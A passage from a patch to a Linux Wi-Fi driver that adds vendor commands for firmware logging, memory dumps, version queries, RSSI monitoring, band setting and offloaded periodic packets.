{.type = NLA_U32 }, +}; + +static int + __wlan_hdd_cfg80211_wifi_logger_get_ring_data(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + int ret; + VOS_STATUS status; + uint32_t ring_id; + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct nlattr *tb + [QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_GET_RING_DATA_MAX + 1]; + + ENTER(); + + ret = wlan_hdd_validate_context(hdd_ctx); + if (0 != ret) { + return ret; + } + + if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_GET_RING_DATA_MAX, + data, data_len, + qca_wlan_vendor_wifi_logger_get_ring_data_policy)) { + hddLog(LOGE, FL("Invalid attribute")); + return -EINVAL; + } + + /* Parse and fetch ring id */ + if (!tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_GET_RING_DATA_ID]) { + hddLog(LOGE, FL("attr ATTR failed")); + return -EINVAL; + } + + ring_id = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_GET_RING_DATA_ID]); + + hddLog(LOG1, FL("Bug report triggered by framework")); + + status = vos_fatal_event_logs_req(WLAN_LOG_TYPE_NON_FATAL, + WLAN_LOG_INDICATOR_FRAMEWORK, + WLAN_LOG_REASON_CODE_FRAMEWORK, + TRUE, TRUE + ); + if (VOS_STATUS_SUCCESS != status) { + hddLog(LOGE, FL("Failed to trigger bug report")); + + return -EINVAL; + } + + return 0; + + +} + + +static int + wlan_hdd_cfg80211_wifi_logger_get_ring_data(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + int ret = 0; + + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_wifi_logger_get_ring_data(wiphy, + wdev, data, data_len); + vos_ssr_unprotect(__func__); + + return ret; + +} + + static int __wlan_hdd_cfg80211_get_concurrency_matrix(struct wiphy *wiphy, struct wireless_dev *wdev, @@ -5083,6 +5844,188 @@ wlan_hdd_cfg80211_get_concurrency_matrix(struct wiphy *wiphy, return ret; } + +static int +__wlan_hdd_cfg80211_get_fw_mem_dump(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, int data_len) +{ + hdd_context_t *pHddCtx = wiphy_priv(wiphy); + int ret; + ENTER(); + + ret = wlan_hdd_validate_context(pHddCtx); + if (0 != ret) + { + return ret; + } + + if( !pHddCtx->cfg_ini->enableFwrMemDump || + (FALSE == sme_IsFeatureSupportedByFW(MEMORY_DUMP_SUPPORTED))) + { + hddLog(VOS_TRACE_LEVEL_INFO, FL("FW dump Logging not supported")); + return -EINVAL; + } + /*call common API for FW mem dump req*/ + ret = wlan_hdd_fw_mem_dump_req(pHddCtx); + + if (!ret) + { + /*indicate to userspace the status of fw mem dump */ + wlan_indicate_mem_dump_complete(true); + } + else + { + /*else send failure to userspace */ + wlan_indicate_mem_dump_complete(false); + } + EXIT(); + return ret; +} + +/** + * wlan_hdd_cfg80211_get_fw_mem_dump() - Get FW memory dump + * @wiphy: pointer to wireless wiphy structure. + * @wdev: pointer to wireless_dev structure. + * @data: Pointer to the NL data. + * @data_len:Length of @data + * + * This is called when wlan driver needs to get the firmware memory dump + * via vendor specific command. + * + * Return: 0 on success, error number otherwise. + */ + +static int +wlan_hdd_cfg80211_get_fw_mem_dump(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, int data_len) +{ + int ret = 0; + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_get_fw_mem_dump(wiphy, wdev, data, + data_len); + vos_ssr_unprotect(__func__); + return ret; +} + +static const struct +nla_policy +qca_wlan_vendor_wifi_logger_start_policy +[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_START_MAX + 1] = { + [QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_RING_ID] + = {.type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_VERBOSE_LEVEL] + = {.type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_FLAGS] + = {.type = NLA_U32 }, +}; + +/** + * __wlan_hdd_cfg80211_wifi_logger_start() - This function is used to enable + * or disable the collection of packet statistics from the firmware + * @wiphy: WIPHY structure pointer + * @wdev: Wireless device structure pointer + * @data: Pointer to the data received + * @data_len: Length of the data received + * + * This function is used to enable or disable the collection of packet + * statistics from the firmware + * + * Return: 0 on success and errno on failure + */ +static int __wlan_hdd_cfg80211_wifi_logger_start(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + eHalStatus status; + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_START_MAX + 1]; + tAniWifiStartLog start_log; + + status = wlan_hdd_validate_context(hdd_ctx); + if (0 != status) { + return -EINVAL; + } + + if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_START_MAX, + data, data_len, + qca_wlan_vendor_wifi_logger_start_policy)) { + hddLog(LOGE, FL("Invalid attribute")); + return -EINVAL; + } + + /* Parse and fetch ring id */ + if (!tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_RING_ID]) { + hddLog(LOGE, FL("attr ATTR failed")); + return -EINVAL; + } + start_log.ringId = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_RING_ID]); + hddLog(LOG1, FL("Ring ID=%d"), start_log.ringId); + + /* Parse and fetch verbose level */ + if (!tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_VERBOSE_LEVEL]) { + hddLog(LOGE, FL("attr verbose_level failed")); + return -EINVAL; + } + start_log.verboseLevel = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_VERBOSE_LEVEL]); + hddLog(LOG1, FL("verbose_level=%d"), start_log.verboseLevel); + + /* Parse and fetch flag */ + if (!tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_FLAGS]) { + hddLog(LOGE, FL("attr flag failed")); + return -EINVAL; + } + start_log.flag = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_FLAGS]); + hddLog(LOG1, FL("flag=%d"), start_log.flag); + + if ((RING_ID_PER_PACKET_STATS == start_log.ringId) && + (!hdd_ctx->cfg_ini->wlanPerPktStatsLogEnable || + !vos_isPktStatsEnabled())) + + { + hddLog(LOGE, FL("per pkt stats not enabled")); + return -EINVAL; + } + + vos_set_ring_log_level(start_log.ringId, start_log.verboseLevel); + return 0; +} + +/** + * wlan_hdd_cfg80211_wifi_logger_start() - Wrapper function used to enable + * or disable the collection of packet statistics from the firmware + * @wiphy: WIPHY structure pointer + * @wdev: Wireless device structure pointer + * @data: Pointer to the data received + * @data_len: Length of the data received + * + * This function is used to enable or disable the collection of packet + * statistics from the firmware + * + * Return: 0 on success and errno on failure + */ +static int wlan_hdd_cfg80211_wifi_logger_start(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + int ret = 0; + + vos_ssr_protect(__func__); + + ret = __wlan_hdd_cfg80211_wifi_logger_start(wiphy, + wdev, data, data_len); + vos_ssr_unprotect(__func__); + + return ret; +} + + static const struct nla_policy wlan_hdd_set_no_dfs_flag_config_policy[QCA_WLAN_VENDOR_ATTR_SET_NO_DFS_FLAG_MAX +1] = @@ -5208,8 +6151,13 @@ static int __wlan_hdd_cfg80211_firmware_roaming(struct wiphy *wiphy, //Update roaming status = sme_ConfigFwrRoaming((tHalHandle)(pHddCtx->hHal), isFwrRoamEnabled); + if (!HAL_STATUS_SUCCESS(status)) { + hddLog(LOGE, + FL("sme_ConfigFwrRoaming failed (err=%d)"), status); + return -EINVAL; + } EXIT(); - return status; + return 0; } static int wlan_hdd_cfg80211_firmware_roaming(struct wiphy *wiphy, @@ -5224,80 +6172,1282 @@ static int wlan_hdd_cfg80211_firmware_roaming(struct wiphy *wiphy, return ret; } +static const struct +nla_policy +qca_wlan_vendor_get_wifi_info_policy[ + QCA_WLAN_VENDOR_ATTR_WIFI_INFO_GET_MAX +1] = { + [QCA_WLAN_VENDOR_ATTR_WIFI_INFO_DRIVER_VERSION] = {.type = NLA_U8 }, + [QCA_WLAN_VENDOR_ATTR_WIFI_INFO_FIRMWARE_VERSION] = {.type = NLA_U8 }, +}; + + /** - * __wlan_hdd_cfg80211_setband() - set band - * @wiphy: Pointer to wireless phy - * @wdev: Pointer to wireless device - * @data: Pointer to data - * @data_len: Data length + * __wlan_hdd_cfg80211_get_wifi_info() - Get the wifi driver related info + * @wiphy: pointer to wireless wiphy structure. + * @wdev: pointer to wireless_dev structure. + * @data: Pointer to the data to be passed via vendor interface + * @data_len:Length of the data to be passed * - * Return: 0 on success, negative errno on failure + * This is called when wlan driver needs to send wifi driver related info + * (driver/fw version) to the user space application upon request. + * + * Return: Return the Success or Failure code. */ -static int -__wlan_hdd_cfg80211_setband(struct wiphy *wiphy, - struct wireless_dev *wdev, - const void *data, - int data_len) +static int __wlan_hdd_cfg80211_get_wifi_info(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, int data_len) { - struct net_device *dev = wdev->netdev; hdd_context_t *hdd_ctx = wiphy_priv(wiphy); - struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_MAX + 1]; - int ret; - static const struct nla_policy policy[QCA_WLAN_VENDOR_ATTR_MAX + 1] - = {[QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE] = { .type = NLA_U32 }}; + struct nlattr *tb_vendor[QCA_WLAN_VENDOR_ATTR_WIFI_INFO_GET_MAX + 1]; + tSirVersionString version; + uint32 version_len; + uint8 attr; + int status; + struct sk_buff *reply_skb = NULL; + + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + + status = wlan_hdd_validate_context(hdd_ctx); + if (0 != status) { + hddLog(LOGE, FL("HDD context is not valid")); + return -EINVAL; + } + + if (nla_parse(tb_vendor, QCA_WLAN_VENDOR_ATTR_WIFI_INFO_GET_MAX, data, + data_len, qca_wlan_vendor_get_wifi_info_policy)) { + hddLog(LOGE, FL("WIFI_INFO_GET NL CMD parsing failed")); + return -EINVAL; + } + + if (tb_vendor[QCA_WLAN_VENDOR_ATTR_WIFI_INFO_DRIVER_VERSION]) { + hddLog(LOG1, FL("Rcvd req for Driver version Driver version is %s"), + QWLAN_VERSIONSTR); + strlcpy(version, QWLAN_VERSIONSTR, sizeof(version)); + attr = QCA_WLAN_VENDOR_ATTR_WIFI_INFO_DRIVER_VERSION; + } else if (tb_vendor[QCA_WLAN_VENDOR_ATTR_WIFI_INFO_FIRMWARE_VERSION]) { + hddLog(LOG1, FL("Rcvd req for FW version FW version is %s"), + hdd_ctx->fw_Version); + strlcpy(version, hdd_ctx->fw_Version, sizeof(version)); + attr = QCA_WLAN_VENDOR_ATTR_WIFI_INFO_FIRMWARE_VERSION; + } else { + hddLog(LOGE, FL("Invalid attribute in get wifi info request")); + return -EINVAL; + } + + version_len = strlen(version); + reply_skb = cfg80211_vendor_cmd_alloc_reply_skb(wiphy, + version_len + NLA_HDRLEN + NLMSG_HDRLEN); + if (!reply_skb) { + hddLog(LOGE, FL("cfg80211_vendor_cmd_alloc_reply_skb failed")); + return -ENOMEM; + } + + if (nla_put(reply_skb, attr, version_len, version)) { + hddLog(LOGE, FL("nla put fail")); + kfree_skb(reply_skb); + return -EINVAL; + } + + return cfg80211_vendor_cmd_reply(reply_skb); +} + +/** + * __wlan_hdd_cfg80211_get_wifi_info() - Get the wifi driver related info + * @wiphy: pointer to wireless wiphy structure. + * @wdev: pointer to wireless_dev structure. + * @data: Pointer to the data to be passed via vendor interface + * @data_len:Length of the data to be passed + * @data_len: Length of the data received + * + * This function is used to enable or disable the collection of packet + * statistics from the firmware + * + * Return: 0 on success and errno on failure + */ + +static int +wlan_hdd_cfg80211_get_wifi_info(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, int data_len) + + +{ + int ret = 0; + + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_get_wifi_info(wiphy, + wdev, data, data_len); + vos_ssr_unprotect(__func__); + + return ret; +} + + +/* + * define short names for the global vendor params + * used by __wlan_hdd_cfg80211_monitor_rssi() + */ +#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_MAX +#define PARAM_REQUEST_ID QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_REQUEST_ID +#define PARAM_CONTROL QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_CONTROL +#define PARAM_MIN_RSSI QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_MIN_RSSI +#define PARAM_MAX_RSSI QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_MAX_RSSI + +/**--------------------------------------------------------------------------- + + \brief hdd_rssi_monitor_start_done - callback to be executed when rssi + monitor start is completed successfully. + + \return - None + + --------------------------------------------------------------------------*/ +void hdd_rssi_monitor_start_done(void *fwRssiMonitorCbContext, VOS_STATUS status) +{ + hdd_context_t* pHddCtx = (hdd_context_t*)fwRssiMonitorCbContext; + + if (NULL == pHddCtx) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: HDD context is NULL",__func__); + return; + } + + if (VOS_STATUS_SUCCESS == status) + { + hddLog(VOS_TRACE_LEVEL_INFO, FL("Rssi Monitor start successful")); + } + else + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("Rssi Monitor start not successful")); + } + + return; +} + +/**--------------------------------------------------------------------------- + + \brief hdd_rssi_monitor_stop_done - callback to be executed when rssi monitor + stop is completed successfully. + + \return - None + + --------------------------------------------------------------------------*/ +void hdd_rssi_monitor_stop_done(void *fwRssiMonitorCbContext, VOS_STATUS status) +{ + hdd_context_t* pHddCtx = (hdd_context_t*)fwRssiMonitorCbContext; + + if (NULL == pHddCtx) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: HDD context is NULL",__func__); + return; + } + + if (VOS_STATUS_SUCCESS == status) + { + hddLog(VOS_TRACE_LEVEL_INFO, FL("Rssi Monitor stop successful")); + } + else + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("Rssi Monitor stop not successful")); + } + + return; +} + +/** + * __wlan_hdd_cfg80211_monitor_rssi() - monitor rssi + * @wiphy: Pointer to wireless phy + * @wdev: Pointer to wireless device + * @data: Pointer to data + * @data_len: Data length + * + * Return: 0 on success, negative errno on failure + */ + +static int +__wlan_hdd_cfg80211_monitor_rssi(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + struct net_device *dev = wdev->netdev; + hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + hdd_station_ctx_t *pHddStaCtx; + struct nlattr *tb[PARAM_MAX + 1]; + tpSirRssiMonitorReq pReq; + eHalStatus status; + int ret; + uint32_t control; + static const struct nla_policy policy[PARAM_MAX + 1] = { + [PARAM_REQUEST_ID] = { .type = NLA_U32 }, + [PARAM_CONTROL] = { .type = NLA_U32 }, + [PARAM_MIN_RSSI] = { .type = NLA_S8 }, + [PARAM_MAX_RSSI] = { .type = NLA_S8 }, + }; + + ENTER(); + + ret = wlan_hdd_validate_context(hdd_ctx); + if (0 != ret) { + return -EINVAL; + } + + if (!hdd_connIsConnected(WLAN_HDD_GET_STATION_CTX_PTR(pAdapter))) { + hddLog(LOGE, FL("Not in Connected state!")); + return -ENOTSUPP; + } + + if (nla_parse(tb, PARAM_MAX, data, data_len, policy)) { + hddLog(LOGE, FL("Invalid ATTR")); + return -EINVAL; + } + + if (!tb[PARAM_REQUEST_ID]) { + hddLog(LOGE, FL("attr request id failed")); + return -EINVAL; + } + + if (!tb[PARAM_CONTROL]) { + hddLog(LOGE, FL("attr control failed")); + return -EINVAL; + } + + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + + pReq = vos_mem_malloc(sizeof(tSirRssiMonitorReq)); + if(NULL == pReq) + { + hddLog(LOGE, + FL("vos_mem_alloc failed ")); + return eHAL_STATUS_FAILED_ALLOC; + } + vos_mem_set(pReq, sizeof(tSirRssiMonitorReq), 0); + + pReq->requestId = nla_get_u32(tb[PARAM_REQUEST_ID]); + pReq->sessionId = pAdapter->sessionId; + pReq->rssiMonitorCbContext = hdd_ctx; + control = nla_get_u32(tb[PARAM_CONTROL]); + vos_mem_copy( &pReq->currentBssId, pHddStaCtx->conn_info.bssId, WNI_CFG_BSSID_LEN); + + hddLog(LOG1, FL("Request Id: %u Session_id: %d Control: %d"), + pReq->requestId, pReq->sessionId, control); + + if (control == QCA_WLAN_RSSI_MONITORING_START) { + if (!tb[PARAM_MIN_RSSI]) { + hddLog(LOGE, FL("attr min rssi failed")); + goto fail; + } + + if (!tb[PARAM_MAX_RSSI]) { + hddLog(LOGE, FL("attr max rssi failed")); + goto fail; + } + + pReq->minRssi = nla_get_s8(tb[PARAM_MIN_RSSI]); + pReq->maxRssi = nla_get_s8(tb[PARAM_MAX_RSSI]); + pReq->rssiMonitorCallback = hdd_rssi_monitor_start_done; + + if (!(pReq->minRssi < pReq->maxRssi)) { + hddLog(LOGW, FL("min_rssi: %d must be less than max_rssi: %d"), + pReq->minRssi, pReq->maxRssi); + goto fail; + } + hddLog(LOG1, FL("Min_rssi: %d Max_rssi: %d"), + pReq->minRssi, pReq->maxRssi); + status = sme_StartRssiMonitoring(hdd_ctx->hHal, pReq); + + } + else if (control == QCA_WLAN_RSSI_MONITORING_STOP) { + pReq->rssiMonitorCallback = hdd_rssi_monitor_stop_done; + status = sme_StopRssiMonitoring(hdd_ctx->hHal, pReq); + } + else { + hddLog(LOGE, FL("Invalid control cmd: %d"), control); + goto fail; + } + + if (!HAL_STATUS_SUCCESS(status)) { + hddLog(LOGE, + FL("sme_set_rssi_monitoring failed(err=%d)"), status); + goto fail; + } + + return 0; +fail: + vos_mem_free(pReq); + return -EINVAL; +} + +/* + * done with short names for the global vendor params + * used by __wlan_hdd_cfg80211_monitor_rssi() + */ +#undef PARAM_MAX +#undef PARAM_CONTROL +#undef PARAM_REQUEST_ID +#undef PARAM_MAX_RSSI +#undef PARAM_MIN_RSSI + +/** + * wlan_hdd_cfg80211_monitor_rssi() - SSR wrapper to rssi monitoring + * @wiphy: wiphy structure pointer + * @wdev: Wireless device structure pointer + * @data: Pointer to the data received + * @data_len: Length of @data + * + * Return: 0 on success; errno on failure + */ +static int +wlan_hdd_cfg80211_monitor_rssi(struct wiphy *wiphy, struct wireless_dev *wdev, + const void *data, int data_len) +{ + int ret; + + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_monitor_rssi(wiphy, wdev, data, data_len); + vos_ssr_unprotect(__func__); + + return ret; +} + +/** + * hdd_rssi_threshold_breached_cb() - rssi breached NL event + * @hddctx: HDD context + * @data: rssi breached event data + * + * This function reads the rssi breached event %data and fill in the skb with + * NL attributes and send up the NL event. + * This callback execute in atomic context and must not invoke any + * blocking calls. + * + * Return: none + */ +void hdd_rssi_threshold_breached_cb(void *hddctx, + struct rssi_breach_event *data) +{ + hdd_context_t *pHddCtx = (hdd_context_t *)hddctx; + int status; + struct sk_buff *skb; + + ENTER(); + status = wlan_hdd_validate_context(pHddCtx); + + if (0 != status) { + return; + } + + if (!data) { + hddLog(LOGE, FL("data is null")); + return; + } + + skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) + NULL, +#endif + EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, + QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI_INDEX, + GFP_KERNEL); + + if (!skb) { + hddLog(LOGE, FL("cfg80211_vendor_event_alloc failed")); + return; + } + + hddLog(LOG1, "Req Id: %u Current rssi: %d", + data->request_id, data->curr_rssi); + hddLog(LOG1, "Current BSSID: "MAC_ADDRESS_STR, + MAC_ADDR_ARRAY(data->curr_bssid.bytes)); + + if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_REQUEST_ID, + data->request_id) || + nla_put(skb, QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_CUR_BSSID, + sizeof(data->curr_bssid), data->curr_bssid.bytes) || + nla_put_s8(skb, QCA_WLAN_VENDOR_ATTR_RSSI_MONITORING_CUR_RSSI, + data->curr_rssi)) { + hddLog(LOGE, FL("nla put fail")); + goto fail; + } + + cfg80211_vendor_event(skb, GFP_KERNEL); + return; + +fail: + kfree_skb(skb); + return; +} + + + +/** + * __wlan_hdd_cfg80211_setband() - set band + * @wiphy: Pointer to wireless phy + * @wdev: Pointer to wireless device + * @data: Pointer to data + * @data_len: Data length + * + * Return: 0 on success, negative errno on failure + */ +static int +__wlan_hdd_cfg80211_setband(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + struct net_device *dev = wdev->netdev; + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_MAX + 1]; + int ret; + static const struct nla_policy policy[QCA_WLAN_VENDOR_ATTR_MAX + 1] + = {[QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE] = { .type = NLA_U32 }}; + + ENTER(); + + ret = wlan_hdd_validate_context(hdd_ctx); + if (0 != ret) { + hddLog(LOGE, FL("HDD context is not valid")); + return ret; + } + + if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_MAX, data, data_len, + policy)) { + hddLog(LOGE, FL("Invalid ATTR")); + return -EINVAL; + } + + if (!tb[QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE]) { + hddLog(LOGE, FL("attr QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE failed")); + return -EINVAL; + } + + hdd_ctx->isSetBandByNL = TRUE; + ret = hdd_setBand(dev, + nla_get_u32(tb[QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE])); + hdd_ctx->isSetBandByNL = FALSE; + + EXIT(); + return ret; +} + +/** + * wlan_hdd_cfg80211_setband() - Wrapper to offload packets + * @wiphy: wiphy structure pointer + * @wdev: Wireless device structure pointer + * @data: Pointer to the data received + * @data_len: Length of @data + * + * Return: 0 on success; errno on failure + */ +static int wlan_hdd_cfg80211_setband(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + int ret = 0; + + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_setband(wiphy, + wdev, data, data_len); + vos_ssr_unprotect(__func__); + + return ret; +} + +#ifdef WLAN_FEATURE_OFFLOAD_PACKETS +/** + * hdd_map_req_id_to_pattern_id() - map request id to pattern id + * @hdd_ctx: HDD context + * @request_id: [input] request id + * @pattern_id: [output] pattern id + * + * This function loops through request id to pattern id array + * if the slot is available, store the request id and return pattern id + * if entry exists, return the pattern id + * + * Return: 0 on success and errno on failure + */ +static int hdd_map_req_id_to_pattern_id(hdd_context_t *hdd_ctx, + uint32_t request_id, + uint8_t *pattern_id) +{ + uint32_t i; + + mutex_lock(&hdd_ctx->op_ctx.op_lock); + for (i = 0; i < MAXNUM_PERIODIC_TX_PTRNS; i++) + { + if (hdd_ctx->op_ctx.op_table[i].request_id == 0) + { + hdd_ctx->op_ctx.op_table[i].request_id = request_id; + *pattern_id = hdd_ctx->op_ctx.op_table[i].pattern_id; + mutex_unlock(&hdd_ctx->op_ctx.op_lock); + return 0; + } else if (hdd_ctx->op_ctx.op_table[i].request_id == + request_id) { + *pattern_id = hdd_ctx->op_ctx.op_table[i].pattern_id; + mutex_unlock(&hdd_ctx->op_ctx.op_lock); + return 0; + } + } + mutex_unlock(&hdd_ctx->op_ctx.op_lock); + return -EINVAL; +} + +/** + * hdd_unmap_req_id_to_pattern_id() - unmap request id to pattern id + * @hdd_ctx: HDD context + * @request_id: [input] request id + * @pattern_id: [output] pattern id + * + * This function loops through request id to pattern id array + * reset request id to 0 (slot available again) and + * return pattern id + * + * Return: 0 on success and errno on failure + */ +static int hdd_unmap_req_id_to_pattern_id(hdd_context_t *hdd_ctx, + uint32_t request_id, + uint8_t *pattern_id) +{ + uint32_t i; + + mutex_lock(&hdd_ctx->op_ctx.op_lock); + for (i = 0; i < MAXNUM_PERIODIC_TX_PTRNS; i++) + { + if (hdd_ctx->op_ctx.op_table[i].request_id == request_id) + { + hdd_ctx->op_ctx.op_table[i].request_id = 0; + *pattern_id = hdd_ctx->op_ctx.op_table[i].pattern_id; + mutex_unlock(&hdd_ctx->op_ctx.op_lock); + return 0; + } + } + mutex_unlock(&hdd_ctx->op_ctx.op_lock); + return -EINVAL; +} + + +/* + * define short names for the global vendor params + * used by __wlan_hdd_cfg80211_offloaded_packets() + */ +#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_MAX +#define PARAM_REQUEST_ID \ + QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_REQUEST_ID +#define PARAM_CONTROL \ + QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_SENDING_CONTROL +#define PARAM_IP_PACKET \ + QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_IP_PACKET_DATA +#define PARAM_SRC_MAC_ADDR \ + QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_SRC_MAC_ADDR +#define PARAM_DST_MAC_ADDR \ + QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_DST_MAC_ADDR +#define PARAM_PERIOD QCA_WLAN_VENDOR_ATTR_OFFLOADED_PACKETS_PERIOD + +/** + * wlan_hdd_add_tx_ptrn() - add tx pattern + * @adapter: adapter pointer + * @hdd_ctx: hdd context + * @tb: nl attributes + * + * This function reads the NL attributes and forms a AddTxPtrn message + * posts it to SME. + * + */ +static int +wlan_hdd_add_tx_ptrn(hdd_adapter_t *adapter, hdd_context_t *hdd_ctx, + struct nlattr **tb) +{ + struct sSirAddPeriodicTxPtrn *add_req; + eHalStatus status; + uint32_t request_id, ret, len; + uint8_t pattern_id = 0; + v_MACADDR_t dst_addr; + uint16_t eth_type = htons(ETH_P_IP); + + if (!hdd_connIsConnected(WLAN_HDD_GET_STATION_CTX_PTR(adapter))) + { + hddLog(LOGE, FL("Not in Connected state!")); + return -ENOTSUPP; + } + + add_req = vos_mem_malloc(sizeof(*add_req)); + if (!add_req) + { + hddLog(LOGE, FL("memory allocation failed")); + return -ENOMEM; + } + + /* Parse and fetch request Id */ + if (!tb[PARAM_REQUEST_ID]) + { + hddLog(LOGE, FL("attr request id failed")); + goto fail; + } + + request_id = nla_get_u32(tb[PARAM_REQUEST_ID]); + hddLog(LOG1, FL("Request Id: %u"), request_id); + if (request_id == 0) + { + hddLog(LOGE, FL("request_id cannot be zero")); + goto fail; + } + + if (!tb[PARAM_PERIOD]) + { + hddLog(LOGE, FL("attr period failed")); + goto fail; + } + add_req->usPtrnIntervalMs = nla_get_u32(tb[PARAM_PERIOD]); + hddLog(LOG1, FL("Period: %u ms"), add_req->usPtrnIntervalMs); + if (add_req->usPtrnIntervalMs == 0) + { + hddLog(LOGE, FL("Invalid interval zero, return failure")); + goto fail; + } + + if (!tb[PARAM_SRC_MAC_ADDR]) + { + hddLog(LOGE, FL("attr source mac address failed")); + goto fail; + } + nla_memcpy(add_req->macAddress, tb[PARAM_SRC_MAC_ADDR], + VOS_MAC_ADDR_SIZE); + hddLog(LOG1, "input src mac address: "MAC_ADDRESS_STR, + MAC_ADDR_ARRAY(add_req->macAddress)); + + if (memcmp(add_req->macAddress, adapter->macAddressCurrent.bytes, + VOS_MAC_ADDR_SIZE)) + { + hddLog(LOGE, + FL("input src mac address and connected ap bssid are different")); + goto fail; + } + + if (!tb[PARAM_DST_MAC_ADDR]) + { + hddLog(LOGE, FL("attr dst mac address failed")); + goto fail; + } + nla_memcpy(dst_addr.bytes, tb[PARAM_DST_MAC_ADDR], VOS_MAC_ADDR_SIZE); + hddLog(LOG1, "input dst mac address: "MAC_ADDRESS_STR, + MAC_ADDR_ARRAY(dst_addr.bytes)); + + if (!tb[PARAM_IP_PACKET]) + { + hddLog(LOGE, FL("attr ip packet failed")); + goto fail; + } + add_req->ucPtrnSize = nla_len(tb[PARAM_IP_PACKET]); + hddLog(LOG1, FL("IP packet len: %u"), add_req->ucPtrnSize); + + if (add_req->ucPtrnSize < 0 || + add_req->ucPtrnSize > (PERIODIC_TX_PTRN_MAX_SIZE - + HDD_ETH_HEADER_LEN)) + { + hddLog(LOGE, FL("Invalid IP packet len: %d"), + add_req->ucPtrnSize); + goto fail; + } + + len = 0; + vos_mem_copy(&add_req->ucPattern[0], dst_addr.bytes, VOS_MAC_ADDR_SIZE); + len += VOS_MAC_ADDR_SIZE; + vos_mem_copy(&add_req->ucPattern[len], add_req->macAddress, + VOS_MAC_ADDR_SIZE); + len += VOS_MAC_ADDR_SIZE; + vos_mem_copy(&add_req->ucPattern[len], ð_type, 2); + len += 2; + + /* + * This is the IP packet, add 14 bytes Ethernet (802.3) header + * ------------------------------------------------------------ + * | 14 bytes Ethernet (802.3) header | IP header and payload | + * ------------------------------------------------------------ + */ + vos_mem_copy(&add_req->ucPattern[len], + nla_data(tb[PARAM_IP_PACKET]), + add_req->ucPtrnSize); + add_req->ucPtrnSize += len; + + VOS_TRACE_HEX_DUMP(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + add_req->ucPattern, add_req->ucPtrnSize); + + ret = hdd_map_req_id_to_pattern_id(hdd_ctx, request_id, &pattern_id); + if (ret) + { + hddLog(LOGW, FL("req id to pattern id failed (ret=%d)"), ret); + goto fail; + } + add_req->ucPtrnId = pattern_id; + hddLog(LOG1, FL("pattern id: %d"), add_req->ucPtrnId); + 